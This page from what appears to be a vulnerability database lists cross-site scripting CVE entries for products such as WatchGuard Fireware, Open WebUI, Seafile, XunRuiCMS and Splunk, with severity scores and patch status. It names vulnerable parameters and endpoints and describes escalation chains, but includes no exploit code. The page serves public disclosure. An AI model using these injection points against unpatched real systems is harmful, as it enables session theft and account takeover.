Stored Cross-Site Scripting in WatchGuard Fireware OS via the Tigerpaw Technology Integration module permits a high-privileged attacker to inject persistent malicious scripts into the web management interface. Affected versions span Fireware OS 12.4 through 12.11.4, 12.5 through 12.5.13, and 2025.1 through 2025.1.2. With user interaction, the injected payload executes in victim administrators' browsers, potentially enabling session hijacking or unauthorized configuration changes within the management plane.

XSS Fireware Watchguard
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

TranzAxis 3.2.41.10.26 allows authenticated users to inject cross-site scripting via the `Open Object in Tree` endpoint, allowing attackers to steal session cookies and potentially escalate privileges.

XSS Tranzaxis
NVD Exploit-DB
EPSS 0% CVSS 8.7
HIGH POC PATCH This Week

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.

XSS Open Webui Openwebui
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

WEBIGniter 28.7.23 contains a cross-site scripting vulnerability in the user creation process that allows unauthenticated attackers to execute malicious JavaScript code, enabling potential XSS attacks.

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Alinto Sogo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the theme parameter.

XSS Debian Ubuntu +2
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in a reachable files_pdfviewer example directory in Nextcloud with versions before 22.2.10.33, 23.0.12.29, 24.0.12.28, 25.0.13.23, 26.0.13.20, 27.1.11.20, 28.0.14.11, 29.0.16.8, 30.0.17, 31.0.10, and 32.0.1...

XSS Nextcloud
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting in JIZHICMS up to version 2.5.5 enables authenticated administrators to inject JavaScript into the comment body field, leading to script execution in other users' browsers. A public proof-of-concept exploit exists, but EPSS indicates low exploitation probability and the vulnerability is not listed in CISA KEV. No vendor patch has been released.

PHP XSS Jizhicms
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

Due to a regression introduced in version 3.83.0, a security header is no longer applied to certain user-uploaded content served from repositories. This may allow an authenticated attacker with repository upload privileges to exploit a stored cross-site scripting (XSS) vulnerability with user context.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability was discovered in Seafile Community Edition prior to version 13.0.12. When Seafile is configured with the Golang file server, an attacker can upload a crafted SVG file containing malicious JavaScript and share it using a public link. Opening the link triggers script execution in the victim's browser. This issue has been fixed in Seafile Community Edition 13.0.12.

XSS Debian Seafile +2
NVD GitHub
EPSS 0% CVSS 1.1
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in XunRuiCMS up to 4.7.1 allows authenticated high-privileged attackers to inject arbitrary scripts via the domain name binding page. The attack requires high complexity and user interaction, reducing realistic exploitation risk. A public exploit exists but active exploitation is not confirmed (not in KEV) and EPSS score is low.

PHP XSS Xunruicms
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

Cross-site scripting in XunRuiCMS up to 4.7.1 allows remote attackers to inject arbitrary web script via the data[name] parameter in the Add Data Validation Page. The vulnerability requires low-privileged access and user interaction to trigger. Publicly available exploit code exists, but no active exploitation has been confirmed (EPSS 0.04%).

PHP XSS Xunruicms
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting in XunRuiCMS 4.7.1 and earlier allows authenticated administrators to inject arbitrary JavaScript via the 'data[name]' parameter in the Add Display Name Field component. A public proof-of-concept exploit exists, but active exploitation has not been confirmed and EPSS estimates a low probability of exploitation.

PHP XSS Xunruicms
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored Cross-Site Scripting (XSS) vulnerability has been found in Seafile v12.0.10. This vulnerability allows an attacker to execute arbitrary code in the victim's browser by storing malicious payloads with POST parámetro 'p' in '/api/v2.1/repos/{repo_id}/file/'.

XSS RCE Debian +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored Cross-Site Scripting (XSS) vulnerability has been found in Seafile v12.0.10. This vulnerability allows an attacker to execute arbitrary code in the victim's browser by storing malicious payloads with PUT parámetro 'name' in '/api/v2.1/user/'.

XSS RCE Debian +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Clik stats plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Omnichannel for WooCommerce: Google, Amazon, eBay & Walmart Integration - Powered by Codisto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the sync() function in all versions up to, and including, 1.3.65 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 7.6
HIGH POC PATCH This Week

RomM (ROM Manager) allows users to scan, enrich, browse and play their game collections with a clean and responsive interface. RomM contains multiple unrestricted file upload vulnerabilities that allow authenticated users to upload malicious SVG or HTML files. When these files are accessed the browser executes embedded JavaScript, leading to stored Cross-Site Scripting (XSS) which when combined with a CSRF misconfiguration they lead to achieve full administrative account takeover, creating a rogue admin account, escalating the attacker account role to admin, and much more. This vulnerability is fixed in 4.4.1 and 4.4.1-beta.2.

XSS CSRF File Upload +2
NVD GitHub Exploit-DB VulDB
EPSS 0% CVSS 9.6
CRITICAL POC PATCH Act Now

DeepChat is a smart assistant uses artificial intelligence. In 0.5.0 and earlier, there is a Stored Cross-Site Scripting (XSS) vulnerability in the Mermaid diagram renderer allows an attacker to execute arbitrary JavaScript within the application context. By leveraging the exposed Electron IPC bridge, this XSS can be escalated to Remote Code Execution (RCE) by registering and starting a malicious MCP (Model Context Protocol) server.

XSS RCE Code Injection +2
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM This Month

Cross Site Scripting vulnerability in HCL Technologies Limited HCLTech DRAGON before v.7.6.0 allows a remote attacker to execute arbitrary code via missing directives

XSS RCE Dragon +1
NVD
EPSS 0% CVSS 2.4
LOW PATCH Monitor

In Splunk Enterprise versions below 10.0.2, 9.4.6, 9.3.8, and 9.2.10, and Splunk Cloud Platform versions below 10.1.2507.6, 10.0.2503.7, and 9.3.2411.117, a user who holds a role with a high privilege capability `admin_all_objects` could craft a malicious payload through the href attribute of an anchor tag within a collection in the navigation bar, which could result in execution of unauthorized JavaScript code in the browser of a user.

XSS Splunk
NVD
Prev Page 75 of 452 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40664

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy